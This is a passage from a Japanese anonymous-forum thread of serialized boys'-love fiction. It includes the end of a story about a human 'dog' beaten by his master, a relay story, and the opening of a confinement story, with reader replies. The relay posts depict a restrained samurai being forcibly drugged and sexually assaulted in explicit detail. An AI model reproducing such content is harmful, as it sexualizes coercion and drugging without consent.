恥を怒りで誤魔化そうと怒鳴ったが、従兄弟はそれにたいしては応えを寄越さず、
侍の股間に目をやって薄く笑った。
「幼子のようじゃ。まあ、貴殿にはお似合いと言えような」
かっとして怒鳴り返そうとした侍は、代わりに野太い悲鳴を上げて仰け反った。
鈴口をくじられたのだ。もがき、手を伸ばして叫ぶ。
「無理じゃ、やめてくれ、いけぬ、決していけぬのだ!」
男たちが周りに膝をつき、侍の手を、脚を、大きく広げて押さえつけた。
「いけぬからこそ楽しめる。これは男の理、遠慮めさるな」
「ぐう、ふぐううう! やめ…やめ…っ…! あぐ、あぐううう!」
蟻にたかられた芋虫のように身悶えながら、侍が人語とは言えぬ声を発した。
男たちの手が、侍の体のそこかしこに伸び、柔らかな愛撫を加え始めたのだ。

(本文が長すぎます!と叱られたので分けました。続きよろしく)

233 名前:A dog and his lord 24 [2006/11/08(水) 14:33:41 ID:u4AuV/yc0]
それからどれくらい経ったのか。多分僅かの時間だったに違いない。
僕はご主人様の往復ビンタで目を覚ました。
「お前という犬はっ! バカ犬め! バカ犬め! バカ犬め!」
顔を打つ手が、平手から拳に変る。
鼻血が流れ、唇が切れ、左目も開けられなくなった。
それでも収まらないご主人様は、足下に転がったステッキを取ってそれも振るわれる。
背に、尻に、腕に、幾度も幾度もステッキが振り下ろされた。
「ジュンとリューに傷を付けていたら、どうなっていたと思うんだ。この愚か者が!」
ご主人様が僕の目の前に差し出されたのは、青あざになったご自身の左腕。
まさか、僕はご主人様に向けてステッキを――
いや、違う。ご主人様が身をもってリューとジュンを庇われたのだ。
綺麗な2匹の身体は、それほどに大事なのか。
ならば、せめて毛一筋の傷でも残してやりたかった。
見捨てられた醜いバカ犬の記憶として。
「役立たずのバカ犬の分際で!」
今度はステッキの先で脇腹を突かれる。
「この穀潰しがっ! 引き取り手もない厄介者のお前に反抗されるいわれはないぞ!」
尻と右肩に渾身の2発。僕はついにがくりと絨毯の上に突っ伏した。
「売り物に傷を付けて私を路頭に迷わせるつもりか!」
耳を叩かれ、ひどい耳鳴りが襲ってくる。
が、頭の中で木霊しているのは耳鳴りの音ではない。


234 名前:A dog and his lord 25 mailto:sage [2006/11/08(水) 14:34:43 ID:u4AuV/yc0]
『売り物』
『路頭に迷う』
混乱した僕の頭は、その意味を解すのに更にステッキを3発も浴びなければならなかった。
「ジュンとリューは今日で最後なんだぞ!」
ジュンとリューは……
「明日の朝には引き渡さなければならないというのに、
疵物にして今更断られたらどうするんだ!」
ジュンとリューは……
「最後の日だというのに! 最後の日だというのに!」
ジュンとリューは明日売られていくのだ。
ああ、知らぬこととはいえ、僕は何ということを……
暗く沈む気持ちを奮い、僕はステッキの雨の中で身体を起こした。
座って頭を床になすりつける。
「申し訳ございません。申し訳ございません。申し訳ございません……」
口をきくお許しはなかったが、どうしてもお詫びしなければならない。
「お気の済むまで折檻して下さい。殺されても仕方ありません。存分にお打ち下さい」
僕にできる唯一の償いを申し出ると、ご主人様は快く聞き届けて下さった。
ご主人様に対し、とんでもない振る舞いをした僕を、見捨てずに償いをお許し下さった。
僕を打って打って打ちまくって……
だからまだ僕は見捨てられていない。まだご主人様の犬なのだ。
僕は感謝と敬愛を込めてご主人様を仰ぎ見た。
愛犬との最後のお別れを中断して僕を折檻して下さっているのだ。
ありがたい。ありがたい。僕は幸せな犬だ。


235 名前:A dog and his lord 26 mailto:sage [2006/11/08(水) 14:35:25 ID:u4AuV/yc0]
ご主人様は事業に失敗され、全てを失われたのだった。
僕たちは、ご主人様の手に残った唯一の金目のものだ。
こんな時、喜んで売られていくのが犬の役目だ。
どんなに悲しくとも最後の最後にご主人様のお役に立つのが犬の役目だ。
僕だって、ちゃんと覚悟は出来ている。けれど――
真っ先に買い手が付いたのはもちろんジュンだ。
それを知らされたジュンは、泣きながら懸命に最後のご奉仕をしていたのだ。
僕に対抗していたわけではもちろんない。そんなことあるはずがなかった。
歳がネックになっていたリューは、3日間貸し出してようやく買い手が付いた。
あの3日間だ。
そして僕は、どうしても買い手が付かなかったのだという。
結局1匹だけご主人様の許に残ることになっていたのだ。

ほんの数分僕をお打ちになると、ご主人様ははぁはぁと息を乱された。
お疲れが溜まっておられるのだろうか。
ああ、よくよく拝見すれば、随分とおやつれになった。
こんな時こそ、辛いお気持ちを僕にぶつけて頂くところなのに。
なのに、僕はご主人様の一大事に気づきもせず、
自分の身勝手な欲求に夢中だったのだ。
不意に、ご主人様の手が止まった。
お疲れになったのだろう。
僕は深く頭を下げた。
ありがとうございました。もう十分でございます。
どうか、あちらにお戻りになって下さい。
僕はじっと頭を下げたまま、ベッドに戻られるご主人様を見送った。


236 名前:A dog and his lord 27 mailto:sage [2006/11/08(水) 14:36:48 ID:u4AuV/yc0]
目の前で、ご主人様と2匹の最後の宴が繰り広げられていた。
横たわったご主人様の上で、リューが優雅に踊る。
金髪を波打たせ、肌は既にピンク色に染まっている。
「あぁ……ご主人様……ご主人様……」
久々に聞くリューの声。深く滑らかなリューの声。
ご主人様の横にかがみ込んだジュンは、一生懸命何をしているのか。
もしかしたら、僕が付けてしまった左腕の痣を舐めて差し上げているのかもしれない。
ご主人様が「そそる」と仰る小ぶりな尻が揺れている。
ご主人様の手が伸びて、ジュンの頭を愛おしげになぜられた。
ジュンはたちまち泣き出した。嗚咽に背が激しく揺れる。
「かわいくない泣き方はするな」
ご主人様が仰ると、ジュンは必死に声を押し殺し、
「えっ、えっ、えっ……」としゃくり上げた。
やがて、ご主人様の上で力尽きたリューが倒れ込んでいく。
2匹をしっかりと胸に抱いて、ご主人様は長い間じっと何かを噛みしめておられた。
ご主人様と愛犬2匹の世界。
僕には決して踏み込めない世界。
僕はただ見せられるだけ。
血だらけ傷だらけになって、床に這い蹲り、冷たい嫉妬を抱えて、見ているだけ。
これが僕のポジション。
いつまでも変わらない、けれどご主人様に許されたポジション。




237 名前:A dog and his lord 28 mailto:sage [2006/11/08(水) 14:39:14 ID:u4AuV/yc0]
ゆっくりと、ゆったりと、最後の宴は過ぎていった。
2匹は、その指と舌とであらん限りのご奉仕をし、
ご主人様はお身体の続く限り2匹を愛された。
そして、その長い1日を、僕は「頑丈な犬」にふさわしく、目を逸らさずに見届けた。
明日から、僕1匹でご主人様をお慰めしなければならない。
この身体ひとつで、ご主人様の全てを受け止めるのだ。
愛らしいさも優美さも持ち合わせていない僕は、
ひたすら憂さをこの身体にぶつけて頂くしかない。
こんなことに傷ついてはいられない。
僕は「頑丈な犬」なのだ。




完結です。
1レス目sage忘れてしまいました。
申し訳ありませんでした。

238 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 15:42:53 ID:vcjUp5h40]
A dog and his lord
お疲れさまでした。
ダン、ご主人様を独り占めできても立場が変わらなさそう。
それもまた幸福? 狂っちゃってる激愛にカンパイだ。

リレー
楽しんでます。
できたら、このまま後ろを使ってのリンカーンに突入せず、
いっぺん失神KOして翌日まで持ち越しをキボンヌ。

239 名前:リレー mailto:sage [2006/11/08(水) 16:12:31 ID:CjOPvP2VO]
限界を越えている躰に快感が降り積もる。
下卑た男たちと端麗な従兄弟に弄ばれ、侍の躰は悲鳴を上げた。
両胸、腰、陰茎、後孔の淵。あらゆる秘部を、同時に責められ、侍は淫らに乱れた。
夜明けから蓄積された快感が体内を駆け巡り、逃れられない快楽に侍は喘ぐ。
複数とはいえ手で躰をまさぐられているだけの、
まだ陰湿な凌辱と呼ぶにはぬるい悪さも、薬に蝕まれている躰には堪えるらしい。
イクほどの快感を甘受しながらも、イキ果てることが出来ず、侍は激しくもがいた。
うなじや背中を舐められ肌が粟立つ。陰茎や尻を揉まれ、恥辱と快感で肢体が跳ねる。
蓄積された快感に躰を占領され、躰の反応に侍の頭はついていけない。
喘ぎ、仰け反り、快楽責めに悶えながら、侍は先走りを漏らした。
ずる剥けにされた裸の陰茎は、ますます過敏に反応し粗野な男達を喜ばす。
その敏感な陰茎を口に含まれ、先端を吸われた刹那!侍の体内に過大な快流が流れ、神の経が焼き切れた。
遠ざかる意識の中、侍は極彩色の地獄を見た。
更なる恥辱と苦痛と快楽が、この先に待っている事を侍はまだ知らない……。
続きお願いします。

240 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 20:12:00 ID:vPjhWORq0]
ワンコを転売、虐待とは…
ご主人様の風上にもおけぬw

しかしながら、>>237タン乙でした!

241 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 20:16:53 ID:xIAxWHhS0]
犬とご主人様、乙ですた。とても好きです。
せつない…。犬派の自分はワンコにじーんときた。


242 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 20:31:46 ID:ZfCIEgU7O]
リレーいつまでやんの?
投下しにくい雰囲気作るのやめてよ。

243 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 20:35:33 ID:8xvlvbJY0]
投下も出来ない奴がわめくわめくw

244 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 20:38:27 ID:ZfCIEgU7O]
リレー終わったら投下しようと思ってんだけど、ぜんぜん終わる気配ないから

245 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 20:44:19 ID:PsLlBF+s0]
>244
それは気にしないでガンガン投下してくれよ。
わんこタソだってそうだったジャマイカ。気にスンナ。

246 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 20:45:48 ID:7J8HvBz40]
>244
投下したければすれば?
リレーでなくても連載の長い作品は間にいくつも他の作品が挟まってるよ



247 名前:初仕事1 mailto:sage [2006/11/08(水) 20:54:11 ID:a1A2NXpv0]
244さんじゃないけど、投下します。

もう1週間は超えただろう。10日かそこら。たぶん2週間にはなっていないはずだ。
なにがって?僕らがここに閉じ込められてからの話。
っていうのは少し違うか。僕らは募集に応じて集まった。でもそれは自分の意志に
よるもので、まったくのアルバイトとしてだ。
最低5日間、おとなしくこの部屋――なんの飾りも凹凸もない、白い壁の中ですごせれば、
バイト代が出る。さらにそれ以上の日数すごすことが可能なら、日当を上乗せするって話。
あちこちに隠されたカメラで、僕らは監視されている。監視というより観察、かな。
なんかの心理実験だっていう話で、最初に説明は受けてるけど、どういうプロセスをたどって
どんな結果が出ればOKなのか、いつ終了なのか、それはまったくわからない。
集められたのは僕を含めて5人。高校生くらいから、たぶんフリーターなんだろう、
20代後半とおぼしきやつらまで。つまり男ばっかり。
みんな支給された同じ白いつなぎを着てる。これがまた変な形の服で…。
顔と背丈、あと一人髪の色が違うヤツがいるけど、それ以外はみんな同じに見えてしまう。
腕時計や携帯は全部預けることになってしまって、時間すら今の僕らにはわからない。
心理実験らしいけど、ただこの部屋の中ですごすだけでいいなんて、何しろラクなのが
バイトとしては理想的だ…と思っていた。けれど1日2日で既に僕は後悔し始めていた。
いや、メンバー全員がそうじゃないかな。
だって、5人のうち1人は、最低期限の5日でさっさとリタイヤしてしまったんだから。
今やめても、バイト代はもらえる。けど、熱くもなく寒くもなく、時間の感覚もなく、食べ物は
運んでもらえる、このぬるーい状況に慣れてしまうと、あと2,3日はいけるかな、くらいに
思えて、結局ずるずる居ついてしまってる、って感じだ。


248 名前:初仕事2 mailto:sage [2006/11/08(水) 20:54:54 ID:a1A2NXpv0]
ビニールっぽい樹脂が、貼ってあるのか塗ってあるのか、ぬらーんとした色合いの
白っぽい部屋。手慰みに、パズルとかマンガとか、それっぽい物がおいてある。
それも棚なんかにに収納されてるんじゃなく、地べたに転々と放置されてる感じ。
部屋の隅に、全員が使うトイレがある。これがちゃんと個室として隔離されていなくて、
ついたてみたいに板一枚の壁が立ててあるだけ。ちょうど公衆トイレの入り口に
目隠しみたいに壁があって、両側から出入りできる、あんな感じ。
僕らはみんなその薄い壁一枚の向こうで用をたしている。まあ男どうし、慣れれば
なんとかやっていける。
必ずしなくちゃいけないのは、血圧を測ること。入り口のドアの脇に、血圧計が置いて
あって、一日一回必ず計測する。そして、排出された記録紙を壁際にある機械の口に
にゅるーっと読み込ませるんだ。僕らに決められた仕事はそれだけ。あとはただ、
おりの中のパンダさながら、のんべんだらりと過ごせばいいわけだ。


249 名前:初仕事3 mailto:sage [2006/11/08(水) 20:55:28 ID:a1A2NXpv0]
ああ、食事受け取ってる。これはさっき血圧を提出した“ヒッツレ”のだ。
FAX送るみたいに記録紙を読み込ませると、しばらくして壁の向こうでゴガン!と
音がする。古い郵便受けみたいな箱の取っ手をガン!と引くと、中にそいつ宛の
エサがはいってるってワケ。
ヒッツレっていうのは、僕が勝手につけた名前だ。本人にそう呼びかけることはない。
こいつは唇にひきつれた手術痕がある。若く見えるけど高校生くらいだろうか。
いっつも無表情で、ときどき腹筋や腕立てをしてる。無意識なんだろう、その姿勢で
マンガを眺めてたり…いや、マンガを見ながら腕立てか。どっちでもいいけど。
ああ、今日のヤツの食事はブロックだ。チーズ味かな。僕、あれのチョコ味がけっこう
好きなんだ。いいなあ。
今度は“ツメカミ”が、ガン!と音を立てて箱を引く。中身を取って手を離すと、また
ガン!という音とともに箱はひとりでに壁の向こう側へ倒れて閉まる。
不満そうだ、ツメカミ。ここ3日くらい、ゼリー飲料が続いてるからな。イライラすると、
ほらまただ、爪を噛み始めるんだよな。
いっつもつまんなそーな顔してる“ガチャメ”は、あとに置いとこう。先に僕が血圧を測り、
あの音を待つ。ああ残念。キャンディだ。カロリーは補給できるけど、これってやっぱ、
食事したって気分にならなくて味気ない。数たくさん入ってるし、始終舐めてられるから、
口さびしくなくていいけど。
ガチャメの視力が実際のところ左右で違ってるのかどうかは知らない。けど
何かを見るとき、片目だけをくっと細める顔つきを見てつけた名前だ。冷たそうなヤツ。
たぶんみんなの中では一番年上だと思う。金髪に近い茶色の髪、それでも
髪が伸びたせいで、根元に元の色が見え始めてる。


250 名前:初仕事4 mailto:sage [2006/11/08(水) 20:56:09 ID:a1A2NXpv0]
ただダラダラと過ごせばいい、だけ。確かにそうだ。けど、それが健康な人間、
ことに若い男にとってどれだけ苦痛か。
このバイトの採用担当者は最初に言った。これは厳密な調査だと。行動学の
調査で、こうした環境におかれた人間がいかなる行動を起こしていくか、というのを
カメラでずっと隠し撮りしている、という話なんだそうだ。
それが頭にあるから、最初のうちはみんな部屋にも食べ物にも不満はもらさなかった。
いわば、借りてきた猫状態ってヤツ。それが今では不満たらたら、気に入らない
食事がもたらされると壁を蹴るヤツもいる。まあ、ツメカミのことだけど。
この部屋にみんなが集められた日。僕が、手始めに自己紹介でもしようか、と
もちかけた。ところがこのツメカミが、鼻息一つで却下したんだ。
「この部屋カメラで監視されてるの、知ってんだろ」
「うん、聞いてるよ。でも、これから何日も一緒に暮らすんだし、名前くらい…」
「呼びもしねえ名前聞いて、なんの意味があるよ」
フン、と横を向いたツメカミに、他の連中も無言で従った。
「大体お前、個人情報ってやつだよ、わかってねえなあ」
バカにしたようにツメカミは言った。
「撮ったビデオ、誰かは完全にわかんねーようにしてやる、って言ってもさあ、
どこまでのことかわかんねえし。ましてや能天気に自己紹介なんて、撮ったビデオ
どこに配られるかどこで見られるかわかんねえのに、そんなこと出来るかよ!」
そう、男同士こんなふうに閉じ込められて、いつケンカになるかわからない。
もしかして、パニックを起こしてわめき散らしてしまうかもしれないし。
自分の行動すら予測できなかった。ツメカミの言うとおり、そんな行動を起こして
しまったものを記録されて、どこで晒されるかもわからないのに、最初に素性を
明かしてしまうのはバカだと思った。


251 名前:初仕事5 mailto:sage [2006/11/08(水) 20:56:47 ID:a1A2NXpv0]
「…言われてみれば、そうだね。あんたの言うとおりだ」
僕はおとなしく引き下がった。端から知らん顔のあとの二人は、壁際にもたれて
目をそらしたままだった。それが僕らの最初の会話だった。
それ以来5人の男、今は1人減って4人だけど、みんなしてそっぽ向いて、
壁際にうずくまって一日をやり過ごしてる。
「どけよ」
ツメカミが不機嫌そうな声で僕に言った。
「トイレ行くんだよ。邪魔だよナキボクロちゃん」
いくらでも脇によければ通れるのに。そっち通ればいいじゃないか、と言いたかった。
けど、僕は体をずらしてツメカミのために道をあけた。
あんたの言うとおりだ、といったんは引き下がったけど、ニックネームくらいいいじゃ
ない、と言った僕の言葉尻をひろってツメカミがつけた呼び名がナキボクロ。
他の誰も呼ばない。当のツメカミだって、こうやって僕を邪険に扱うときくらいしか、
その名を口にしない。でもわかる。僕がこうやって、心の中で彼らのことを
品定めしたりしてるのと同じように、彼らも僕をそうやってフィギュアかなんかみたいに
いじくってるに違いないんだ。
壁にもたれて、ツメカミの放尿する音を聞いている。
毎日これといった会話もなく過ごしていても、人間関係というのはオーラのように
人に与える印象だけでも形成されていくらしい。
ツメカミははっきりものを言うし、態度もでかい。怖そうに見えて、その実ちょっと幼稚な
ところがある。さっきみたいにつまんないことで突っかかるし。だから誰もあえて彼に
逆らおうという空気を作らなかった。本人の中には段々と、リーダーとしての自覚が
無駄に芽生えてるのかもしれない。迷惑な話だ。
年だけで言えば、ガチャメは僕らよりだいぶアニキっぽいし、ヒッツレは見るからに
ガキっぽい。


252 名前:初仕事6 mailto:sage [2006/11/08(水) 20:58:29 ID:a1A2NXpv0]
僕はといえば、二言目にはウゼえとツメカミに言われるくらい、頼りなく見えるらしい。
小柄でも、なよっぽくもないはずなんだけど。このホクロがよっぽど目だって、そういう
印象を作ってるんだろうか。
「あーウゼえ。お前、存在自体がウゼえ」
トイレから出て、僕の脇を通るときにツメカミは言った。小さな声だけどはっきりと、
僕に聞こえるようにだ。こういうのって、子供同士のいじめの基本だね。いや、
聞こえよがしにイヤミとか悪口言ってくのっておばさんでもよくやる手だ。前の
バイト先でも、そうやっておばさんと若い子がいがみあってた。
ああ、そうか。こういう変化を撮っていきたいってことなのかな、この“実験”は。
「あーっ!またかよっ!」
僕がひとりで勝手な考えをめぐらしていると、いきなりツメカミが怒鳴った。
「ウゼえウゼえウゼえっ!」
耳に指先を当てて、開けたり閉じたり。自分の大きな声と指で、耳をふさいでるんだ。
あの声。ここ3日くらいで聞こえるようになった怪しい声に、中でもツメカミは一番
ナーバスに反応している。
―ああっああっ―
この建物の構造はよくわからない。僕らは全員、事務所と呼ばれる別のビルの
一室から完全に目隠しをされてここにつれて来られたんだ。だから廊下とか
他の部屋がどんなふうになってるのか、知らないんだ。
―あっ……あっ!ああっあーっ!…んっうんっ…んんっ―
よがり声。あきらかにそうだった。甲高く、すこしかすれて、最初はつらそうに
聞こえるけど、そのうち段々と…
―んっんっ……んっ―
ああ。イっちゃったみたいだ。女の声…いや、男?廊下のずっと向こうから
響いてくるらしいその声は、性別さえ定かじゃない。第一、廊下がドアの向こうで
どっち向きに伸びていて、長いのかどうかさえわからないのに。

253 名前:初仕事7 mailto:sage [2006/11/08(水) 20:59:50 ID:a1A2NXpv0]
「くっそ」
ツメカミが壁をこぶしで殴る。コンクリート打ちっぱなしじゃないから、殴っても
さほど痛くなさそうだ。でもあんなに強く…ああ、そりゃ痛いよ。
どっちにそろ、腹いせに僕を殴るのだけはやめてほしいね。ほらその目。
今にもその矛先がこっちに向きそうで、イヤなんだよ。
「何見てんだよ。ああ?」
「別に、見てないよ」
「見てんだろうがよ。くそウゼえんだよお前はよ」
「そんな…僕は何も」
「僕は。ボクハボクハボクハ!僕は〜なんてなあ!女々しいんだよてめえは…!」
ああ、完全にアウトだ。何も言ってないつもりなのに、ヤツの神経を逆撫でしちゃった
らしい。今日こそ殴られる。ああ、こういうのが“実験結果”とやらになるってわけ?
僕がいよいよ首をすくめたくなったそのとき。鎌首もたげた蛇みたいになってる
ツメカミの前を、いきなり人影がさえぎった。
ウヘ、というような変な声をもらして、不意打ちをくらったツメカミがのけぞる。
声もかけずにヤツの鼻先をかすめたのは、トイレに立ったガチャメだった。
「てめ、んっだよ!」
苛立つツメカミが怒鳴り散らす。ああ、立ち上がっちゃったよ。
「あ?…ああ、わりいな」
突っかかるツメカミを全然相手にしてない。こいつ、けっこう大人。実際、年もずっと
上なんだろう。このままツメカミにこの部屋の空気を引っかき回されるばっかりじゃ困る。
ガチャメあたりに仕切ってもらいたい、と僕は密かに期待しているんだけど。


今回ここまでです。

254 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 21:07:29 ID:2JoXNylu0]
初のリアルタイム!
ピリピリした雰囲気が面白いです。
力こそ正義を観察されちゃったりするのかしらー?
続き楽しみにしてます!

255 名前:リレー mailto:sage [2006/11/08(水) 21:52:50 ID:XnoqvZRW0]
御禁制の薬は侍の夢をも侵した。
夢の中で侍はなぜか大蛸にへばりつかれ、ぬめる触手で体中を犯された。
胸の尖りを吸盤で吸われ、陰茎の先を触手の先端で突かれる。
そのたびに粘った音が響いた。尻の狭間を触手でこすられたとき、侍は狂ったように頭を振った。
逃れようと必死にもがいたが、太ももや腹に巻きついた触手は万力のようだった。
「ああっやめろ、やめぬか、ああぁぁっ」
答えはなかった。蛸の黒い目は静かに獲物の嬌態を眺めているだけだった。
静かで冷たい目は従兄弟のそれに似ていた。

256 名前:リレー mailto:sage [2006/11/08(水) 21:53:51 ID:XnoqvZRW0]
「……四十一、四十二。襞の数は立派に上品穴です。加えて肉も多くなかなかふっくらしている。
肌の艶もよろしい。これはよき尻ですな。流石御前、お目が高い」
耳障りな声が侍の夢を打ち破った。侍は目を開けて、眩しさに瞬いた
。素裸で畳の上に敷いた白い絹布に仰向けに寝かされていた。
男が侍の両足を割り開いて、菊門を観察していた。昨晩、侍の尻を剃った男だった。
両手は別の男がしっかりと押さえている。
侍は体を動かすことができなかった。だが、仮に自由があったとしても、動かすことができたかどうか。
相変わらずだるく、股間からはえもいわれぬ疼きが沸き起こっていた。それもそのはず。
陰茎は立ち上がり、先端から露をこぼしていた。
どうにかこうにか首をひねると、片側は障子で、明るい光が部屋を満たしていた。
光は良く鍛えた筋や、滑らかな胸を余すところなく明らかにしていた。侍は、高価な細工ものよろしく鑑賞されていた。
そのことを悟ったとき、侍の体は羞恥にかっと熱くなり、陰茎は一層硬くなった。
「上等品か。善き哉。善き哉。では、男根のほうはどうだ」
甲高い声が降ってきた。声の方角を見ると、一段と高い位置に一人の男が寝そべっていた。
その傍らには従兄弟が身を低くして侍っている。
御前と呼ばれる割には男は若かった。侍と大して違わないように見えた。
何者なのだろうか。侍の見知らぬ顔だった。
「ほう。目を覚ましたか。馬で馳せるその方を見初めてより半年。
その方は余のことを知らぬだろうが、余は明けても暮れてもその方のことを考えておったぞ」
侍が何か言う前に、陰茎に定規が当てられた。
「あっ」
金の定規の冷たさに侍は尻を振ってもだえた。


嫌がることをあえてするのが鬼畜だってじっちゃんが言ってた
バトンお渡しします♥



257 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 22:55:08 ID:qH5+7hf0O]
よき尻
Niceなヒップですな
リレータソ乙。続きはまだかな。

258 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 23:47:15 ID:J1CTR1jg0]
ワンコタン乙!
誰もが可哀想なのだが、自分の哀れさの方向を誤解しているダンがやっぱり
一等可哀想だ。買い手がつかなかったのは、狂いっぷりがばれてるからじゃ…。

初仕事タン乙!
この4人で密室でどーにかなるんでしょうか?
ちょっと怖いけどwktkです!

リレー乙!
この雰囲気ならこうなるだろうなというのがまったく読めなくて面白い!

259 名前:リレー mailto:sage [2006/11/09(木) 03:53:37 ID:m/pnnFJ4O]
「五寸半はありますな」
「さようか」
御前は侍の陰茎の丈を聞き、満足気に微笑んだ。
四十を超す菊座の花襞の枚数も、隆起した陰茎の丈も、
厚い胸板も割れた腹も、引き締まった腰も、
精悍な顔立ちも何もかも、侍の全てが御前を喜ばせた。
御前のにこやかな顔に、侍の従兄弟は密やかに微笑んだ。
(存外、高く売れるやもしれん)。
「お主も悪よのう。縁者であろうに」
「分家の芥など他人と同じゆえ」
妾腹である侍を一瞥し、本家を継いだ従兄弟は、さらりと御前にそう言った。
侍は「他人」という響きに心を軋ませ、従兄弟の怜悧な美貌を見つめた。
冴え冴えとした冷たい眼差しが侍に向けられる。
その眼差しは、品定めの折り、秘部に注がれた不躾な視線よりも、侍の胸を苛んだ。
けれども、胸の痛みはすぐに股間を灼く切なさにとってかわられ、
侍は猛らせた陰茎から先走りを漏らした。
一夜明けても、陰茎は萎えない。疼きは止まらない。
痛い。いきたい。苦しい。疲れた。
張りつめた陰茎。しこった乳首。押さえられている両腕。熱い腰。
突然あらわれた貴人。知らない男達。そして、冷ややかな従兄弟。
限界だった。
(昨日は、一日足りとも欠かした事のなかった乗馬も、
日課の乾布摩擦も何もできなかった)。
(恐らく今日も、俺はただいくことだけを願いながら日を過ごす……)。
叶わない吐精。見えない先。不安と絶望。快感と疲労。
疲弊しきった侍は、啜り泣きながら、いかせてくれと繰り返した。

続きお願いします。

260 名前:風と木の名無しさん mailto:sage [2006/11/09(木) 09:18:20 ID:nfHPNMljO]
初仕事タン乙、リレーも乙
(*´д`)ハァハァ

261 名前:リレー mailto:sage [2006/11/09(木) 16:31:24 ID:SduBmVMn0]
「どうしてもと言うなら、いかせても良いのだが。いきたいのだな?」
従兄弟が、離れた場所から静かに言う。
「いきたい…もう我慢ならぬ……頼む…頼む…」
掠れた声で繰り返しながら、侍は我が身を呪った。
このような恥知らずな願いを口にする日が来るとは、思っても見なかった。
これと言うほどには誇れる手柄もなく、大層な役に任じられているわけでもないが、
武士の本領においてはいささかなりとも恥じる所なく生きてきた。
例え敵に捕らわれしたたかに打ち据えられようとも膝を折らぬ覚悟はあった。
その自分が、あろうことか人前で色狂いのように腰を揺すり、浅ましい汁を
垂れ流しながら、快楽の極みを与えてくれと乞うている。
自分が恃みにしてきたすべてのものが、ここでは何の役にも立たぬ。
どうしようもなかった。この体はもう自分の律する所にはない。
この耐え難い熱を、疼きを治めることができるのは、あの冷たい目をした従兄弟なのだ。
「頼む、いかせてくれ! 気が狂うてしまいそうじゃ!」
従兄弟が、すいと立ち上った。
従兄弟がゆっくりと近づいてくるのを、侍は必死に目で追った。
従兄弟は侍の顔の横に腰を下ろすと、懐から紙包みを取り出して開いた。
そこから泡られた丸薬を見て、侍は半狂乱で暴れ始めた。
「いやじゃ、いやじゃ、やめてくれ、いやじゃあ!」
昨日の朝に無理矢理に含まされた丸薬であった。
泣き叫ぶ侍の顔を従兄弟が押さえて鼻をつまみ、もう一人の男が顎を掴んで口を
大きく開けさせた。
喉の奥に丸薬が放り込まれ、さらに水を流し込まれて、侍は息苦しさに耐え兼ね
薬を飲み込んでしまった。
従兄弟は手を放し、見蕩れるほどの笑みを見せながら問うた。
「これでまた一日は良い気持になれるが…気を遣らぬのではいやなのだな」
侍は従兄弟を見つめながらガクガクと首を縦に振った。
「では、その願いを叶えるとしよう」

262 名前:261 mailto:sage [2006/11/09(木) 16:42:52 ID:r9EN2EjK0]
入れ忘れてました。ここでバトンをお渡しします。
それと、
× 泡られた
○ 現われた
         逝ってきます orz

263 名前:風と木の名無しさん mailto:sage [2006/11/09(木) 16:44:33 ID:hWbsAxce0]
リレー侍イイヨイイヨー
書いてる皆様乙です!
神の経とか気を遣る、和な単語チョイスも萌え
続きwktk!

264 名前:風と木の名無しさん mailto:sage [2006/11/09(木) 18:13:55 ID:/NoQBSjEO]
リレー始まってからスレの質確実に落ちたよね

265 名前:風と木の名無しさん mailto:sage [2006/11/09(木) 18:31:19 ID:eKQF+5VnO]
リレー侍イイヨー

266 名前:リレー mailto:sage [2006/11/09(木) 18:49:56 ID:m/pnnFJ4O]
※失禁あり

丸薬を含まされ三拍後、侍はイキはじめた。
侍の鋼の様な肉体に触れている者は誰もいない。皆、ただ見ていた。
腰を跳ね上げ、びくびく躰を震わせ、体中の筋を発作的に引き攣らせ、
躰をくねらせ侍は幾度も果てた。
(中がうねるっ!?)
何を埋め込まれているわけでもない後孔を、
激しく耕されているかのような心地に、喘ぐこともできず、
侍は呻きながら、よどみきった精汁をぼとぼと放った。
溜りに溜まったそれは、美しい白絹の敷布に嫌らしい染みをつくりった。
きき分けの無い幼子が、寝転がり両脚をばたつかせ
泣き喚いているかのような格好で、身の丈六尺の若雄が、強靱な肉体を震わせ、
でかい玉を揺らしながら、繰り返しイク様に御前は下唇を舐めながら目を細め、
従兄弟は口元に酷薄そうな笑みを浮かべた。
他の男どもも、下卑た嗤い声を上げては、侍がイク度に手を打ち囃したてた。
侍は、狂った様にイキまくる陰茎を両の手で握り、押さえながら、なおイキ続け、
汗まみれになって失禁した。悶絶責めに半ば正気を失っていた侍は、
粗相をしたことに気が付けぬまま、また腰を跳ね上げ、
じわりとあたたかいものが尻に流れてきてはじめて、己の失態に気が付いた。
羞恥に顔を染めながらも、躰の内から沸き上がる執拗な快感に侍は叫んだ。
屈強な男が戯れで、丸太の様な腕を身悶えている侍に伸ばすと、
侍は躰をくねらせながら、男の太い腕にしがみつき、「いくっ、いくぅっ」と
声を発しながら続け様にいった。
気が遠くなるほどの気持ちよさに襲われ、もう、勃ってもいないのに侍はいった。
勃起や精の射を伴わないでいく、はじめての快楽に侍は脚をばたつかせ、
逞しい男の腕にしがみつきながらイキつづけた。
イキながら、侍は後孔がひくひく蠢いているとやゆする従兄弟の声を聞いた。
事実、侍の陰道はうねり、入れて欲しいと喚いている。
名も知らぬ男の腕に縋りつきながら、侍は泣き濡れた顔でよがり続けた。

バトンお渡しします。



267 名前:風と木の名無しさん mailto:sage [2006/11/09(木) 20:16:56 ID:m/pnnFJ4O]
>261さん
ごめんなさい、読み違えました……orz
侍が飲まされた丸薬は初日と同じものだったんですね。
飲んだらお尻も前も気もちくなってイク的な効用のある、 
お薬だとはやとちりしてしまいました。
前日と同じ丸薬を投与→ますます高まる快感→何らかの手段でいかされる…な、
流れだったのでは!?ぶったぎって申し訳ありません……orz
上の自分の投下、なかったことにしてください……orz
逝ってきます

268 名前:風と木の名無しさん mailto:sage [2006/11/09(木) 20:26:00 ID:wzeAXy1A0]
本当なら1個で3日くらい効果が持続するのに、
2日連続、立て続けに飲まされたので中毒症状を起こした。
問題なし。

269 名前:風と木の名無しさん mailto:sage [2006/11/09(木) 20:30:16 ID:+9KxNTXb0]
>267
読んでいて違和感とか矛盾は特に感じなかったよ
